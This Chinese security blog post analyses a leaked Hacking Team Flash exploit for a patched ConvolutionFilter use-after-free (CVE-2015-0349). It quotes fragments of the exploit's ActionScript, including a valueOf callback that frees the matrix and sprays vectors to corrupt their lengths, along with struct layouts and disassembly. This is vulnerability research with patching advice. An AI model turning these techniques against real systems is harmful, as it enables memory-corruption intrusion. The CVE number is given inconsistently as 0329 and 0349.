我们来自五湖四海,不为别的,只因有共同的爱好,为中国互联网发展出一分力!

Hacking Team攻击代码分析Part 2:一个Pwn2Own漏洞的奇幻漂流

2015年07月11日00:44 阅读: 15315 次

标签: Hacking Team攻击代码分析, Part 2:一个Pwn2Own, 漏洞的奇幻漂流

之前我们分析了HackingTeam泄露数据中的Flash 0day (bytearray 0day)。而在泄露数据中我们还看到了另外一个名为convolution_filter的flash exploit。 
看了一下这个flash exploit,很快意识到这个漏洞是一个已经修补的漏洞cve-2015-0329,在今年4月份被修补,这也解释了readme文档中,flash后面加了“(April 2015)”,意思是这个洞只能用到今年4月之前的flash版本中: 
(https://helpx.adobe.com/cn/security/products/flash-player/apsb15-06.html) 
这个漏洞有个不平凡的故事,今年的Pwn2Own大赛中,前Vupen主力Nicolas Joly正是用这个漏洞拿下了64位Flash插件: 
 
 
  
所以事情就变得很有趣了,一边是Nico用这个漏洞打 Pwn2Own,另一边HackingTeam(从常理推测,应该是通过其它渠道,和Nico无关)也掌握了这个漏洞并将其用于自己的Exploit工具包中。 
CVE-2015-0349原理分析 
再回头看一下CVE-2015-0349这个漏洞,这是一个ActionScript 3中ConvolutionFilter类的内部matrix数组的一个Use After Free漏洞,这是个非常好用的漏洞,在32位和64位上都可以轻松实现稳定利用。 
我们来看一下HackingTeam泄露的exploit代码,关键部分如下: 
1.  创建ConvolutionFilter对象: 
// try to allocate two sequential pages of memory: [ matrix ][ MyClass2 ] 
                for(i=20; i 
1.  设置ConvolutionFilter.matrix 
var m:Array = new Array(bLen); 
m[0] = new Clasz; 
m[1] = m[0]; 
  
try { filter.matrix = m; } catch (e:Error){} 
这里有一个关键点,filter.matrix被赋值为m(类型是 Array),而Array m的第一个元素是一个Clasz类,而Clasz类定义了valueOf方法,这个valueOf是漏洞触发的关键点: 
public class Clasz 
    { 
        … 
        public function Clasz() {   } 
       
        prototype.valueOf = function() 
        { 
… 

2.  在Clasz的valueOf函数中,设置ConvolutionFilter.matrixX: 
prototype.valueOf = function() 
        { 
            if (filter.matrixX > 14) throw new Error(""); // check for the second valueOf() call 
       
            ref = new Array(5); 
            collect.push(ref); // protect from GC // for RnD 
           
            filter.matrixX = 15; // reallocate filter matrix 
           
            // reuse freed memory 
            for(var i:int; i ; 
                ref.length = bLen; 
            } 
           
            // return value for vector length overwriting 
            return 2; // = 0x40000000 as single precision 
           
        } 
事实上filter.matrixX = 15执行完毕之后,ConvolutionFilter内部的一个float数组(我们叫他matrixArray)就会被释放,而从valueOf返回之后,已经释放的matrixArray还会继续被使用,并且往里面写入数据,从而造成了Use-After-Free。我们可以看到valueOf函数中,在设置了filter.matrixX之后,分配了一系列的vector,这些vector就是用来占用释放后的matrixArray的内存的。这样当程序继续往被释放后的matrixArray里写数据时,实际上是在往vector对象里面写数据,从而达到修改vector长度字段的目的,便于进一步exploit。 
细节分析 
我们首先先介绍一下ConvolutionFilter的关键结构: 
ConvolutionFilterObject { 
+10 ConvolutionFilter { 
    +14     int matrixX; 
    +18     int matrixY; 
    +1C     float *matrixArray; 
+20     int matrixLength; 


ConvolutionFilter里面有成员存放matrix矩阵,matrixX和matrixY代表矩阵的x和y,matrixArray是动态分配的数组,其大小是由matrixX和matrixY决定的,关系如下: 
matrixArray = alloc( matrixX * matrix * sizeof(float) ) 
当matrixX和matrixY改变时,如果原来的matrixArray大小不足以容纳现在的容量,则旧的matrixArray会被释放,然后分配新的matrixArray (UAF就是这么来的) 



当exploit代码创建ConvolutionFilter时,传入的参数是matrixX=14,matrix=15: 
a[j] = new ConvolutionFilter(14,15); 
因此matrixArray初始大小为 14 * 15 * 4 = 840,然后我们看一下第二步,执行 
try { filter.matrix = m; } catch (e:Error){} 
时发生了什么: 
ConvolutionFilter::set_matrix基本上是直接调用了另外一个函数,我们叫他set_matrix_internal: 
.text:102E9604 loc_102E9604:                           ; CODE XREF: sub_102E95ED+Aj 
.text:102E9604                 push    14h 
.text:102E9606                 lea     eax, [esi+24h] 
.text:102E9609                 push    eax 
.text:102E960A                 mov     eax, [esi+8] 
.text:102E960D                 mov     ecx, [eax+4] 
.text:102E9610                 or      edi, 1 
.text:102E9613                 push    edi 
.text:102E9614                 call    set_matrix_internal 
调用该函数时参数如下: 
set_matrix_internal( paramArray,  matrixArray,  matrixLength ) 
这里的关键点是:matrixArray直接作为参数被传入。我们来看一下set_matrix_internal函数,该函数的功能可以描述为:将paramArray(在exploit里面就是m这个数组)里面的每一项赋值给matrixArray中对应的项,由于matrixArray的类型为float *,因此如果有必要的话得把paramArray中的元素转换成float,对应逻辑的伪代码如下: 
for ( i = 0; I 
还记得我们的m[0]被设置成一个Clasz对象了吗? 
m[0] = new Clasz; 
将Clasz对象转换成Number的过程中,会调用Clasz对象的valueOf函数,而前面已经讲过,valueOf函数会设置filter.matrixX=15(原来的matrixX为14),此时由于matrixArray大小不够,于是旧的matrixArray被释放,新的matrixArray被分配。然后从valueOf返回到set_matrix_internal以后,程序继续向matrixArray里面写入值,注意这里用的还是旧的 matrixArray,于是UAF漏洞就这样产生了。 
又是valueOf 
如果你看过我们前一篇分析bytearray 0day的文章,你可能对valueOf这个函数依然印象深刻。事实上这两个洞无论是从产生原理,还是利用方式来讲都非常的相近。背后隐藏的逻辑是脚本语言从native code回调到脚本层(通过toString, valueOf, event等等),还是很容易出现没处理好而造成UAF等情况的发生。类似case已经在chrome, IE, flash, java等等软件中多次出现,有心的读者可以去留意一下。事实上这也是脚本语言漏洞挖掘中的一个值得切入的点。 
漏洞防范 
由于Adobe官方已针对此漏洞发布了安全更新,用户只要及时升级就可避免受此漏洞影响。
分享到: 更多
©2017 安全焦点 版权所有.
人才招聘联系我们